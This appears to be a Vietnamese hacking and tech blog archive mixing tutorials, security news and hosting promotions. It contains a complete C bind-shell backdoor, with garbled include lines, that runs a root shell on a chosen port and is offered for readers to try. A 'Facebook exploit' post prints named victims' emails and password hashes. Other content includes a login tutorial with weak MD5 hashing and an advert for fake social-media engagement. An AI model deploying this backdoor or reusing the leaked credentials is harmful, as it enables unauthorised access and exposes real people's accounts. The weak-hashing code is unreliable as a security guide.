Chủ Nhật, 30 tháng 10, 2016

New facebook exploit found By Mauritania attacker

Mauritania Attacker contacted W3bsecurity again via mail to let us know that a New Exploit found called Text Load Injection in Facebook.com which adds their own message

(HACKED BY MAURITANIA ATTACKER) in the Facebook Login Page.
Link (Sign Out From Facebook First) https://apps.facebook.com/r.php?email=HACKED%20BY%20VI%E1%BB%86T%20NAM%20IOS

New Apple vulnerability allows Malicious keylogger App to Record User Inputs


Yet another Apple vulnerability has been exposed by security researchers, that can be exploited to track your finger's every action on iOS Devices i.e. iPhone, iPad etc. The exploit reportedly targets a flaw in iOS multitasking capabilities to capture user inputs, according to Security researchers at FireEye. They found a way to bypass the Apple's app review process effectively and created a proof-of-concept Monitoring app for non-jailbroken iOS 7.0.x devices. The “monitoring” app, that runs in the background of the iPhone is a Keylogger Trojan which could allow hackers to monitor user's activities on the mobile device, including - touches on the screen, home button press, volume button press and TouchID press, and send all collected events to any remote server.
 

According to researchers, their proof-of-concept app works on versions 7.0.4, 7.0.5, 7.0.6, and 6.1.x.
"Based on the findings, potential attackers can either use phishing to mislead the victim to install a malicious/vulnerable app or exploit another remote vulnerability of some app, and then conduct background monitoring." FireEye researchers said.
In iOS devices, the application running in the background keeps on refreshing itself; but the
researchers also noted that disabling iOS 7's "Background App Refresh" setting would not restrict a malicious app from keylogging. "For example, an app can play music in the background without turning on its "background app refresh" switch. Thus a malicious app can disguise itself as a music app to conduct background monitoring." FireEye explained, So the only present solution to the problem is to manually remove apps from the task switcher. Earlier this week, Apple has issued an urgent update iOS 7.0.6 in response to a SSL vulnerability that might allow hackers to bypass SSL/TLS verifications on shared and public networks and steal users information from affected devices, including log-in usernames and passwords, as well as other sensitive information. The Security firm is actively working with Apple on the issue, but until the release of next iOS update, the only thing iOS users can do - Check and monitor the unnecessary applications running on the device via Task Manager and KILL THEM. Last month, Trustwave's Neal Hindocha also demonstrated that even Smartphone screen swipe gestures can be analyzed by hackers and as a proof-of-concept he developed a prototype 'Screenlogging' malware for the iOS and Android Smartphones that works the same as a keylogger software for desktop.

Exploit facebook via External Plugins and Modules

#############################################################
# Title: Exploit Facebook Via External Plugins and Modules
# Exploitation: Manually (use your brain ^_^)
# Date: 28/03/2013
# Greetz: Virusa Worm - Man Sykez - BL4ckc0d1n6 and all AnonGhost Memberz
# Author: Mauritania Attacker
#############################################################


For Example my victim is =======>>> https://www.facebook.com/gaturro22
How i could be able to retrieve his password ? easy
Proof of Concept : Facebook Id ====>>> gaturro22
P0C : ======>>> http://www.poringapic.com/profile.php?id=gaturro22
So as you can see we got the email & the password :
email: gonza.la22@gmail.com

password: e10adc3949ba59abbe56e057f20f883e

Another Demo : http://www.salondaddy.com/profile.php?ID=85


So when i try the same method with my profile for example : http://www.poringapic.com/profile.php?id=mauritanie.forever

It says "Invalid profile link followed!" loool because i didn't clicked on the Like Button so an advice becareful don't like external pages on websites they are

backdoored with a javascript malware that can sniff all your informations ^_^

So for example the ID "profile.php" is infected with "Code Disclosure Path" as you can see most of websites nowadays they use plugins of facebook on their websites

especially applications , so the facebook user must allow permission to access to the application and most of the plugins are infected !_!

So if you see that a website has the Like Plugin or use a facebook app you can surely get the passwords of the users ^_^ no doubt , just use your brain !

Another Example : http://www.rosexconect.net/profile.php?ID=15370&shPhotosMode=top

Check this : [NickName] => orso44 ===========>>> add this to www.facebook.com

http://www.facebook.com/orso44 ============>>> Facebook Profile

[Password] => 5c4e79dd006fb00a07945801234d0dd5 ===========>>> Password Hashed in Md5


Another Victim : ==========>>> https://www.facebook.com/kornberg

Infos Retrieved :

[_iProfileID] => 7893
[_aProfile] => Array
(
[datafile] => 1
[ID] => 7893
[NickName] => Kornberg
[Email] => anselmpennell435@yahoo.com
[Password] => 087fbfdeb33dae28260cfdb8f2d8a787
[Status] => Active
{
"id": "862420463",
"name": "Zoe Kornberg",
"first_name": "Zoe",
"last_name": "Kornberg",
"username": "kornberg",
"gender": "female",
"locale": "en_US"
}
Proof Of Concept : http://hollywoodfilmshoot.com/profile.php?ID=7893&sh_photoMode=rand 

I just selected this user randomly from Facebook and i remarked that she clicked on Like Button and she has been a victim °_° !!!!!!!

Google New reCaptcha using PHP - Are you a Robot?

Today Google has been introduced new reCaptcha API called Are you a robot? “No Captcha reCaptcha” a complete new design captcha system. This protects your website for spammers and robots, in this post I had implemented new reCaptch API system with HTML login form using PHP. I like the new design it is clean and impressive, hope you will like it. Please take a look quick look at the demo.

Get reCaptcha Key
Click here to create a Google reCaptcha application. Register Your Website Give your website domain details without http:

Google Site Key
You will use this in HTML code.

Google Secret Key This will help your website to communication with Google.

HTML Code
Contains simple HTML code with Google reCaptcha widget snippet. Here you have to modify the Google Site Key value.
<html>
<head>
/* Google reCaptcha JS */
<script src="https://www.google.com/recaptcha/api.js"></script>
</head>
<body>
<form action="" method="post">
Username
<input type="text" name="username" class="input" />
Password
<input type="password" name="password" class="input" />
<div class="g-recaptcha" data-sitekey="Google Site Key"></div>
<input type="submit" value="Log In" />
<span class='msg'><?php echo $msg; ?></span>
</form>
</body>
</html>
index.php Contains PHP code, here you have to modify the Google Secret Key.
<?php
include("db.php");
session_start();

$msg='';
if($_SERVER["REQUEST_METHOD"] == "POST")
{
$recaptcha=$_POST['g-recaptcha-response'];
if(!empty($recaptcha))
{
include("getCurlData.php");
$google_url="https://www.google.com/recaptcha/api/siteverify";
$secret='Google Secret Key';
$ip=$_SERVER['REMOTE_ADDR'];
$url=$google_url."?secret=".$secret."&response=".$recaptcha."&remoteip=".$ip;
$res=getCurlData($url);
$res= json_decode($res, true);
//reCaptcha success check
if($res['success'])
{
//Include login check code
}
else
{
$msg="Please re-enter your reCAPTCHA.";
}

}
else
{
$msg="Please re-enter your reCAPTCHA.";
}

}
?>
Login Check Code This code will verify username and password details in database.
$username=mysqli_real_escape_string($db,$_POST['username']);
$password=md5(mysqli_real_escape_string($db,$_POST['password']));
if(!empty($username) && !empty($password))
{
$result=mysqli_query($db,"SELECT id FROM users WHERE username='$username' and passcode='$password'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
if(mysqli_num_rows($result)==1)
{
$_SESSION['login_user']=$username;
header("location: home.php"); //Success redirection page.
}
else
{
$msg="Please give valid Username or Password.";
}

}
else
{
$msg="Please give valid Username or Password.";
}
getCurlData.php CURL function for Google reCaptcha verification. Enable php_curl extension in php.ini configuration file.
<?php
function getCurlData($url)
{
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16");
$curlData = curl_exec($curl);
curl_close($curl);
return $curlData;
}
?>
db.php Database configuration file, modify username, password and database values.
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'username');
define('DB_PASSWORD', 'password');
define('DB_DATABASE', 'database');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

[Code] C backconnect


Hôm nay tình cờ ghé vào blog "https://bloghackerword.blogspot.com" thấy bài này code cũng khá ok nên mình leech về cho anh em xài thữ :D Hiện tại code này mình chưa viết ra ứng dụng nhé :D vì mình không chuyên về C nên cũng khá khó :D có gì anh em thông cảm cho mình với nhé :D

#include 
#include
#include
#include
#include
#include
#include

#define ENTERPASS "Nhap mat khau: \0"
#define WELCOME "Welcome to shell\r\nlet's do it:\r\n"
#define PASSWORD "ceh.vn"
int main(int argc, char **argv)
{
struct sockaddr_in c_addr;
struct sockaddr_in s_addr;
char buf[1024];
pid_t pid;
int i,sock_descriptor,temp_sock_descriptor,c_addrsize;

setuid(0);
setgid(0);
seteuid(0);
setegid(0);

if (argc!=2){
printf("=================================\r\n");
printf("|bin.c by pr0cess edit by kai\r\n");
printf("|Usage:\r\n");
printf("|./cehbin 2080\r\n");
printf("|nc -vv targetIP 2080\r\n");
printf("|Nhap mat khau\r\n");
printf("|Chuc may man ;)\r\n");
printf("=================================\r\n");
exit(1);

}
if (fork()){
exit(0);
}

sock_descriptor=socket(AF_INET,SOCK_STREAM,0);
if (socket(AF_INET,SOCK_STREAM,0)==-1){
printf("socket failed!");
exit(1);
}
memset(&s_addr,0,sizeof(s_addr));
//bzero(&s_addr,sizeof(s_addr));
s_addr.sin_family=AF_INET;
s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
s_addr.sin_port=htons(atoi(argv[1]));
if (bind(sock_descriptor,(struct sockaddr *)&s_addr,sizeof(s_addr))==-1){
printf("bind failed!");
exit(1);
}
if (listen(sock_descriptor,20)==-1)//accept 20 connections
{
printf("listen failed!");
exit(1);
}
c_addrsize=sizeof(c_addr);
temp_sock_descriptor=accept(sock_descriptor,(struct sockaddr *)&c_addr,&c_addrsize);
//recv
while(temp_sock_descriptor){
pid=fork();
if (pid>0) {
close(temp_sock_descriptor);
continue;
}else if (pid==0){
write(temp_sock_descriptor, ENTERPASS, strlen(ENTERPASS));
memset(buf, '\0', 1024);
recv(temp_sock_descriptor, buf, 1024, 0);

if (strncmp(buf,PASSWORD,5) !=0){
close(temp_sock_descriptor);
exit(1);
}

write(temp_sock_descriptor, WELCOME, strlen(WELCOME));
dup2(temp_sock_descriptor,0);
dup2(temp_sock_descriptor,1);
dup2(temp_sock_descriptor,2);
execl("/bin/sh", "sh", (char *) 0);
close(temp_sock_descriptor);
exit(0);
}else{

exit(1);
}
}

close(sock_descriptor);
return 0;
}

Thứ Bảy, 29 tháng 10, 2016

Thanh cuộn vô hạn từ Jquery cho Blogger


Thanh cuộn vô hạn (Infinite Scrolling) đề cập đến khả năng tiếp tục tải các nội dung mới trên trang web mà không phải làm mới nó sự xuất hiện của các bài viết là vô tận khi bạn kéo thanh cuộn xuống phía dưới chân blog. Tiện ích này được sử dụng nhiều trong các trang web lớn như Google, Facebook và Twitter và khá thành công tại đó. Lợi ích lớn nhất là tiếp xúc với nhiều nội dung và duyệt web nhanh hơn. Namkna sẽ hướng dẫn ccs bạn làm thế nào để tích hợp nó vào blog Blogger của bạn bằng cách sử dụng Ajax Infinite Scroll jQuery plugin

» Tính năng
1. Tải nhanh hơn
2. Hiển thị nội dung tăng lên nhiều lần so với dạng truyền thống,
3. Trực quan hơn với độc giả xem bằng các thiết bị cảm ứng.
4. Thích hợp nhất cho blog sử dụng nhiều hình ảnh nặng
5. Danh mục chính được đơn giản hóa
6. Cam kết sử dụng cao hơn

» Thêm Infinite Scrolling với JQuery vào blog.

1. Đăng nhập vào blog.
2. Vào bố cục.
3. Chọn Thêm tiện ích => Tạo một tiện ích HTML/Javarscipts và chọn một trong 2 code bên dưới dán vào:

<span style="color: red;">¤ Style 1</span></b>: Hiển thị trên trang chủ, trang nhãn, trang lưu trữ và cả trang bài viết (các bài trước nó sẽ được nạp đầy đủ);
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script><script type="text/javascript">
//<![CDATA[
(function($){'use strict';Date.now=Date.now||function(){return+new Date()};$.ias=function(g){var h=$.extend({},$.ias.defaults,g);var i=new $.ias.util();var j=new $.ias.paging(h.scrollContainer);var k=(h.history?new $.ias.history():false);var l=this;function init(){var d;j.onChangePage(function(a,b,c){if(k){k.setPage(a,c)}h.onPageChange.call(this,a,c,b)});reset();if(k&&k.havePage()){stop_scroll();d=k.getPage();i.forceScrollTop(function(){var a;if(d>1){paginateToPage(d);a=get_scroll_threshold(true);$('html, body').scrollTop(a)}else{reset()}})}return l}init();function reset(){hide_pagination();h.scrollContainer.scroll(scroll_handler)}function scroll_handler(){var a,scrThreshold;a=i.getCurrentScrollOffset(h.scrollContainer);scrThreshold=get_scroll_threshold();if(a>=scrThreshold){if(get_current_page()>=h.triggerPageThreshold){stop_scroll();show_trigger(function(){paginate(a)})}else{paginate(a)}}}function stop_scroll(){h.scrollContainer.unbind('scroll',scroll_handler)}function hide_pagination(){$(h.pagination).hide()}function get_scroll_threshold(a){var b,threshold;b=$(h.container).find(h.item).last();if(b.size()===0){return 0}threshold=b.offset().top+b.height();if(!a){threshold+=h.thresholdMargin}return threshold}function paginate(d,e){var f;f=$(h.next).attr('href');if(!f){if(h.noneleft){$(h.container).find(h.item).last().after(h.noneleft)}return stop_scroll()}if(h.beforePageChange&&$.isFunction(h.beforePageChange)){if(h.beforePageChange(d,f)===false){return}}j.pushPages(d,f);stop_scroll();show_loader();loadItems(f,function(a,b){var c=h.onLoadItems.call(this,b),curLastItem;if(c!==false){$(b).hide();curLastItem=$(h.container).find(h.item).last();curLastItem.after(b);$(b).fadeIn()}f=$(h.next,a).attr('href');$(h.pagination).replaceWith($(h.pagination,a));remove_loader();hide_pagination();if(f){reset()}else{stop_scroll()}h.onRenderComplete.call(this,b);if(e){e.call(this)}})}function loadItems(b,c,d){var e=[],container,startTime=Date.now(),diffTime,self;d=d||h.loaderDelay;$.get(b,null,function(a){container=$(h.container,a).eq(0);if(0===container.length){container=$(a).filter(h.container).eq(0)}if(container){container.find(h.item).each(function(){e.push(this)})}if(c){self=this;diffTime=Date.now()-startTime;if(diffTime<d){setTimeout(function(){c.call(self,a,e)},d-diffTime)}else{c.call(self,a,e)}}},'html')}function paginateToPage(a){var b=get_scroll_threshold(true);if(b>0){paginate(b,function(){stop_scroll();if((j.getCurPageNum(b)+1)<a){paginateToPage(a);$('html,body').animate({'scrollTop':b},400,'swing')}else{$('html,body').animate({'scrollTop':b},1000,'swing');reset()}})}}function get_current_page(){var a=i.getCurrentScrollOffset(h.scrollContainer);return j.getCurPageNum(a)}function get_loader(){var a=$('.ias_loader');if(a.size()===0){a=$('<div class="ias_loader">
'+h.loader+'</div>
');a.hide()}return a}function show_loader(){var a=get_loader(),el;if(h.customLoaderProc!==false){h.customLoaderProc(a)}else{el=$(h.container).find(h.item).last();el.after(a);a.fadeIn()}}function remove_loader(){var a=get_loader();a.remove()}function get_trigger(a){var b=$('.ias_trigger');if(b.size()===0){b=$('<div class="ias_trigger">
<a href="#">'+h.trigger+'</a></div>
');b.hide()}$('a',b).off('click').on('click',function(){remove_trigger();a.call();return false});return b}function show_trigger(a){var b=get_trigger(a),el;el=$(h.container).find(h.item).last();el.after(b);b.fadeIn()}function remove_trigger(){var a=get_trigger();a.remove()}};$.ias.defaults={container:'.blog-posts',scrollContainer:$(window),item:'.post-outer',pagination:'#blog-pager',next:'#blog-pager-older-link a',loader:'<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidN2o_IFn42AdwdlBEEraXPP6fuQUkR6auGXQuIbrtLtrky8zOg-Oo2naFhGHJY7ZlDMxBGhQZePmD8LQ_afHW-SV-1oyWeqBM4cKTpkFwqSBwDBrFPmfBCl31o2h4QXQZOPW9igHbyLfO/s1600/loading-namkna-blogspot-com-scolling.gif"/>',loaderDelay:600,triggerPageThreshold:8,trigger:'Load more Posts',thresholdMargin:-500,history:true,onPageChange:function(){},beforePageChange:function(){},onLoadItems:function(){},onRenderComplete:function(){ FB.XFBML.parse(); gapi.plusone.go(); twttr.widgets.load(); _gaq.push(['_trackPageview']); },customLoaderProc:false};$.ias.util=function(){var c=false;var d=false;var e=this;function init(){$(window).load(function(){c=true})}init();this.forceScrollTop=function(a){$('html,body').scrollTop(0);if(!d){if(!c){setTimeout(function(){e.forceScrollTop(a)},1)}else{a.call();d=true}}};this.getCurrentScrollOffset=function(a){var b,wndHeight;if(a.get(0)===window){b=a.scrollTop()}else{b=a.offset().top}wndHeight=a.height();return b+wndHeight}};$.ias.paging=function(){var c=[[0,document.location.toString()]];var d=function(){};var e=1;var f=new $.ias.util();function init(){$(window).scroll(scroll_handler)}init();function scroll_handler(){var a,curPageNum,curPagebreak,scrOffset,urlPage;a=f.getCurrentScrollOffset($(window));curPageNum=getCurPageNum(a);curPagebreak=getCurPagebreak(a);if(e!==curPageNum){scrOffset=curPagebreak[0];urlPage=curPagebreak[1];d.call({},curPageNum,scrOffset,urlPage)}e=curPageNum}function getCurPageNum(a){for(var i=(c.length-1);i>0;i--){if(a>c[i][0]){return i+1}}return 1}this.getCurPageNum=function(a){a=a||f.getCurrentScrollOffset($(window));return getCurPageNum(a)};function getCurPagebreak(a){for(var i=(c.length-1);i>=0;i--){if(a>c[i][0]){return c[i]}}return null}this.onChangePage=function(a){d=a};this.pushPages=function(a,b){c.push([a,b])}};$.ias.history=function(){var e=false;var f=false;function init(){f=!!(window.history&&history.pushState&&history.replaceState);f=false}init();this.setPage=function(a,b){this.updateState({page:a},'',b)};this.havePage=function(){return(this.getState()!==false)};this.getPage=function(){var a;if(this.havePage()){a=this.getState();return a.page}return 1};this.getState=function(){var a,stateObj,pageNum;if(f){stateObj=history.state;if(stateObj&&stateObj.ias){return stateObj.ias}}else{a=(window.location.hash.substring(0,7)==='#/page/');if(a){pageNum=parseInt(window.location.hash.replace('#/page/',''),10);return{page:pageNum}}}return false};this.updateState=function(a,b,c){if(e){this.replaceState(a,b,c)}else{this.pushState(a,b,c)}};this.pushState=function(a,b,c){var d;if(f){history.pushState({ias:a},b,c)}else{d=(a.page>0?'#/page/'+a.page:'');window.location.hash=d}e=true};this.replaceState=function(a,b,c){if(f){history.replaceState({ias:a},b,c)}else{this.pushState(a,b,c)}}}})(jQuery);
//]]>
</script><script>jQuery.ias();</script>
<a alt="Blogger Templates" href="http://bomkhung.info/">Blogger Templates and Widgets</a>

¤ Style 2: Chỉ Trang chủ, trang nhãn và lưu trữ trang (Nó sẽ không làm việc trong các trang viết ).

» Một số lời khuyên và mẹo nhỏ!
- Nút +1, Tweet và nút Like sẽ được nạp sau khi tất cả các yêu cầu AJAX tải xong, vì vậy nếu blog của bạn có các nút chia sẻ xã hội bên dưới mỗi bài viết thì không cần phải lo lắng về chúng không hiển thị.

- Khi bài viết mới được tải dưới một bài (Nếu bạn chọn style 1), thì Threaded trong bài viết vừa được nạp sẽ không làm việc

- Để thay thế hình ảnh tải, chỉ cần tìm kiếm ảnh có đuôi .Gif trong mã và thay thế thành URL hình ảnh khác

- Để thay đổi số lần tải trước khi người dùng được yêu cầu tải trang nhiều hơn, tìm kiếmtriggerPageThreshold:8 và thay thế các số 8 ở phía trước, nếu như bạn thiết lập giá trị là 4thì plugin sẽ tải các nội dung mới bốn lần trước khi nó yêu cầu bạn xem bạn muốn xem nội dung nhiều hơn hay không

- onRenderComplete:function() chức năng được sử dụng để nói với các plugin phải làm gì sau khi trang đã được nạp thành công, Ở đây namkna đã thêm một đoạn mã để nói với Google Analytics là một trang mới được tải để GA sẽ ghi nhận mọi yêu cầu AJAX như một trang mới thăm

- loaderDelay:600 là thời gian chờ đợi trước khi nội dung mới được tải thêm (đoan vị tính là phần nghìn giây).

- Để biết thông tin về tất cả các tùy chọn có sẵn trong plugin này hãy xem tại đây IAS Options

Quản lý số lượt người xem website or blog

Hôm nay mình xin hướng dẫn các bạn quản lý số lượt người xem đơn giản với


Còn đây là link truy cập
http://flagcounter.com/
Quá đơn giản phải không các bạn. Đây là một tiện ích khá tốt cho những ai mới tập tành làm Website or Blog. Vì nó thống kê được số lượng view vào site bạn và thông kê số người ở nước nào đang truy cập nữa :D

Mình thấy nó cũng khá tiện nên hôm nay quyết định viết bài luôn :D ai có rồi thì không cần đọc nhé và ai chưa có thì cũng nên tìm hiểu và hiểu qua một ích cách thức của nó ^^

Còn đây là đoạn Source đang dùng
<!-- flagcounter -->
<a href="http://info.flagcounter.com/ejh1"><img src="http://s10.flagcounter.com/count2/ejh1/bg_FDF7FF/txt_000000/border_35CC7B/columns_2/maxflags_10/viewers_0/labels_0/pageviews_1/flags_0/percent_0/" alt="Flag Counter" border="0" /></a>

Chúc các bạn thành công :D

Thứ Sáu, 28 tháng 10, 2016

VinaHost khuyến mại Halloween – Mua Tên miền tặng Hosting hoặc Email Hosting

VinaHost xin gửi đến quý khách hàng chương trình khuyến mại mùa Halloween,
Khuyến mại lần này áp dụng cho tên cả TÊN MIỀN VIỆT NAM và TÊN MIỀN QUỐC TẾ tại VinaHost, nhanh tay đăng kí nào!!!


Cụ thể, trong thời diễn ra chương trình khuyến mại, khách hàng trên toàn quốc khi mua tên miền bất kì tại VinaHost sẽ được nhận quà tặng tùy chọn là 1 NĂM SỬ DỤNG miễn phí EMAIL HOSTING hoặc HOSTING.

Thông tin các gói quà tặng như sau:

Email Hosting Hosting

Dung lượng lưu trữ:  2.5GB
Tài khoản email: 3
Giới hạn email/ngày: 100
Tên miền: 1
Dung lượng lưu trữ: 250MB
Băng thông: Unlimited
Database: 2
Tên miền: 1
Tài khoản email: 5
Mã khuyến mại:

Mã khuyến mại tặng Email Hosting: BAEDOMAIN1016.
Mã khuyến mại tặng Hosting: BAHDOMAIN1016
Lưu ý: Khách hàng chỉ được nhận 1 trong 2 gói quà tặng trên.

Thời gian khuyến mại: từ 28/10/2016 đến hết ngày 10/11/2016

Để được tư vấn tận tình, quý khách vui lòng liên hệ với bộ phận chăm sóc khách hàng của Công ty TNHH VinaHost theo thông tin sau:

Trụ sở chính: 351/31 Nơ Trang Long, P. 13, Q. Bình Thạnh, TP. Hồ Chí Minh
Văn phòng đại diện: 154 Nguyễn Xiển, Q. Thanh Xuân, TP. Hà Nội
Website: https://vinahost.vn
Hotline: 19006046 ext 5
Email: cskh@vinahost.vn
VinaHost hân hạnh được phục vụ quý khách!

Xem thông tin chi tiết chương trình tại đây.

Thứ Tư, 26 tháng 10, 2016

TOP 5 Phần Mềm Tiêu Diệt Mã Độc Rootkit Cho Windows

Rootkit là một dạng phần mềm độc hại (malware) được xây dựng với mục tiêu chủ yếu là để ẩn giấu các đoạn mã độc có khả năng gây nguy hiểm đến máy tính của chúng ta. Một khi đã được cài đặt, rootkit sẽ “ngụy trang” bản thân sao cho các phần mềm diệt virus thông thường khi quét qua chỉ thấy nó một là một ứng dụng vô hại.


Thường thì rootkit càng tồn tại lâu trong một chiếc máy thì nó càng gây nhiều ảnh hưởng nghiêm trọng tới tính bảo mật của thiết bị cũng như đến độ an toàn thông tin của người dùng. Ngoài ra, rootkit còn trở nên nguy hiểm hơn khi nó giấu thêm một malware nào đó, và đây là cách tấn công thường được các tin tặc tận dụng.

Malwarebytes AntiRootkit


Là phần mềm bảo mật có khả năng phát hiện được những phần mềm Rootkit nguy hiểm nhất hiện nay. Phần mềm này có cách thức làm việc khá “sạch sẽ”, sau khi phát hiện và loại bỏ Rootkit ra khỏi Windows, nó còn tiến hành kiểm tra, sửa lỗi và khôi phục hoạt động của Internet Access, Windows Firewall, và Windows Update. Nhằm đảm bảo rằng Windows sẽ hoạt động ổn định trở lại sau khi xong việc.

BitDefender Rootkit Remover


Bitdefender Rootkit Remover là một tiện ích nhỏ gọn đến từ Bitdefender Labs cho phép bạn loại bỏ rootkit chỉ với một cú nhấp chuột. Chương trình có thể loại bỏ các mối đe dọa rootkit, bao gồm Mebroot, gia đình TDL (TDL/SST/Pihar), Mayachok, Mybios, Plite, XPaj, Whistler, Alipop, CPD, Fengd, FIPS, Guntior, MBR Locker, Mebratix, Niwa, Ponreb, Ramnit, Stoned, Yoddos, Yurn, Zegost và Necurs.

Bitdefender Rootkit Remover sẽ không yêu cầu quá nhiều cài đặt phức tạp hoặc khó hiểu, nó là công cụ di động có thể chạy trực tiếp thông qua tập tin thực thi tải về. Giao diện người dùng cũng khá đơn giản và nhỏ gọn, hỗ trợ duy trì cho người dùng một cảm giác tốt đẹp nhất.

McAfee Rootkit Remover

Là sản phẩm “chính hãng” của McAfee, McAfee Rootkit Remover có thể phát hiện và tiêu diệt nhanh gia đình Rootkit ZeroAccess và TDSS.


Sau khi tải về, bạn có thể sử dụng ngay McAfee Rootkit Remover mà không cần cài đặt. Người dùng sẽ được McAfee Rootkit Remover hướng dẫn trải qua 3 bước làm việc trong môi trường dòng lệnh và sử dụng Command Prompt để tiến hành phát hiện và loại bỏ Rootkit.

Kaspersky TDSSkiller

TDSSkiller là ứng dụng được phát hành bởi Kaspersky, mục đích nhầm hỗ trợ cho người dùng sử dụng phần mềm bảo mật Kaspersky Antivirus của hãng. Kaspersky TDSSkiller sẽ tiến hành dò tìm và tiêu diệt rootkit và bootkit trên Windows mỗi khi được kích hoạt sử dụng. Phần mềm này có giao diện bắt mắt, và dễ sử dụng.


Tốc độ quét của Kaspersky TDSSkiller khá nhanh, thông thường sẽ hoàn thành việc quét hệ thống chỉ trong vào giây.

Sophos Rootkit Removal

Có thể xem Sophos Rootkit Removal là một phần mềm chuyên phát hiện và tiêu diệt Rootkit chuyên nghiệp. Nó có thể nhận biết và tiêu diệt hầu hết các loại Rootkit, phần mềm độc hại và mã độc hiện nay do được trang bị một loạt các công cụ kèm theo để làm việc.


Một điểm khá tuyệt khác của Sophos Rootkit Removal là nó có thể kết hợp với các chương trình antivirus khác trên máy để làm thành một rào chắn an toàn cho Windows.

Lời kết
Do Rootkit có thể giả dạng các phần mềm phổ biến hiện nay để dễ dàng xâm nhập vào máy tính của bạn. Vì thế, ngoại trừ việc luôn luôn tải các phần mềm tiện ích ở ngay trang chủ của phần mềm và các nguồn cung cấp tin cậy, bạn cũng nên thường xuyên kích hoạt và tiến hành quét máy tính bằng các công cụ Anti-Rootkit để nhanh chóng phát hiện và loại bỏ sớm để tránh gây ảnh hưởng đến hệ thống.

Virus mới lại lây lan qua Facebook Messenger


Những ngày cuối tuần, nhiều người sử dụng Facebook tại Việt Nam nhận được lời mời xem video qua tin nhắn Messenger.
Điểm đặc biệt là ảnh đại diện (thumbnail) của video chính là avatar của người nhận được đường link kèm câu hỏi: “Video này là của bạn à?”. Do đó, không ít người đã tưởng rằng đoạn video đó nói về họ và vội vàng bấm vào xem.

Ngay khi click vào đường dẫn, trình duyệt của người dùng sẽ bị chuyển hướng sang một trang web có giao diện giống Facebook và yêu cầu họ cài phần mềm plug-in nếu muốn xem video. Tuy nhiên, chuyên gia Nguyễn Minh Đức thuộc Ban Công nghệ – Tập đoàn FPT cho biết nếu chấp nhận cài, mọi hoạt động truy cập web của người sử dụng sẽ bị kẻ xấu kiểm soát chứ không riêng Facebook.

Trang web có giao diện giống Facebook yêu cầu người dùng cài thêm plug-in, nhưng địa chỉ tên miền không phải Facebook.com.
Sau khi lây nhiễm vào máy, virus sẽ tiếp tục tự động gửi tin nhắn đến những người khác trong danh sách bạn bè của nạn nhân qua Messenger.

Ông Đức cho biết, để tránh nhiễm virus, mọi người tốt nhất không bấm vào đường link lạ (địa chỉ tên miền lạ, cách nói chuyện khác thường của người gửi link..).

Trong tình huống vô tình bấm vào những trang có yêu cầu nhập mật khẩu hay cài thêm plug-in thì nên lập tức thoát ra. Còn nếu thiết bị đã bị nhiễm virus, người sử dụng cần gỡ bỏ plug-in trên trình duyệt hoặc cài phần mềm diệt virus để quét toàn bộ hệ thống.

Mọi người nên đề phòng nhé @@

Hacker Việt khai thác lỗ hổng bảo mật của Samsung


Hôm nay, một lượng lớn bao gồm 1000 tài khoản cá nhân (Hacker đã chủ động ẩn mật khẩu) của người dùng SamSung đã bị rò rỉ và public trên website PasteBin.com – một website chia sẻ ẩn danh thường được các hacker sử dụng.
Một lỗ hổng cho SQL Injection đã được phát hiện trên website của SamSung có thể cho phép hacker lấy toàn bộ dữ liệu cá nhân của Sam Sung. Dữ liệu này có thể lên tới hàng triệu tài khoản bao gồm tên, số điện thoại, email và cả mật khẩu mã hóa của người dùng.


Một điều đặc biệt là phát hiện này của một hacker trẻ đến từ Việt Nam với nickname “Thi Gia” (Thi Gia là thành viên của nhóm Ghost Team VN). SecurityDaily đã trao đổi trực tiếp với Ghost Team qua Facebook và được biết lỗ hổng nguy hiểm này đã được bạn “Thi Gia” cảnh báo đến ban quản trị của SamSung. Thi Gia cũng thường xuyên phát hiện lỗ hổng của các website lớn tại Việt Nam và thực hiện cảnh báo đến ban quản trị. Gần đây nhất là cảnh báo một lỗ hổng nguy hiểm trên website Garena.vn – Diễn đàn Game lớn nhất tại Việt Nam.

SQL Injection là một lỗ hổng cơ bản mà mỗi hacker mũ đen, mũ trắng hay các chuyên gia về an toàn thông tin đều biết và có thể thực hiện nó. Giống như Ebay, SamSung hoàn toàn có thể bị phạt vì điều này. Sam Sung nên quan tâm nhiều hơn nữa vào tính bảo mật và bảo vệ quyền cá nhân của người dùng vì công ty này đang chịu trách nhiệm với hàng triệu người sử dụng trên toàn thế giới.
Tuy chưa có thông báo chính thức từ SamSung, nhưng nếu bạn là một người sử dụng của Sam Sung, bạn nên thay đổi mật khẩu và các thông tin cá nhân của mình ngay để tránh các nguy cơ có thể bị lợi dụng. Đặc biệt nếu bạn sử dụng mật khẩu này dùng chung cho nhiều website.

#Cập nhật: Lỗ hổng hiện đã được thông báo đến ban quản trị của Sam Sung và đang thực hiện vá lỗ hổng nguy hiểm này. Các đường dẫn rò rỉ thông tin đã được nhóm phát hiện xóa khỏi Pastebin.com để đảm bảo an toàn cho người dùng.

Thứ Ba, 25 tháng 10, 2016

Công cụ seo video Youtube, GooglePlus, Google Bussiness


iClick đã ra mắt phần mềm seo:
  • # Seo Google +
  • # Seo Video Youtube
  • # Seo Địa Điểm
phiên bản 1.0.8.2 với trình duyệt tự động:
  1. * Chạy nhẹ nhàng, ổn định, mượt mà
  2. * Thao tác trên trình duyệt thực tế
  3. * Bấm chuột, đánh chữ thực tế
  4. * Hỗ trợ các trình duyệt: Google Chrome, Internet Explorer, Firefox, Opera, MS Edge
  5. * Giao diện tiện lợi, thao tác đơn giản, dễ dùng
  6. * Tự động 100%, có thể sử dụng máy tính làm việc khác bình thường
Tổng hợp những tính năng của phần mềm:
  1. FREE HOÀN TOÀN:..
  2. Tăng lượt + cho link G+
  3. Tăng lượt comment cho link G+
  4. Tăng lượt share cho link G+
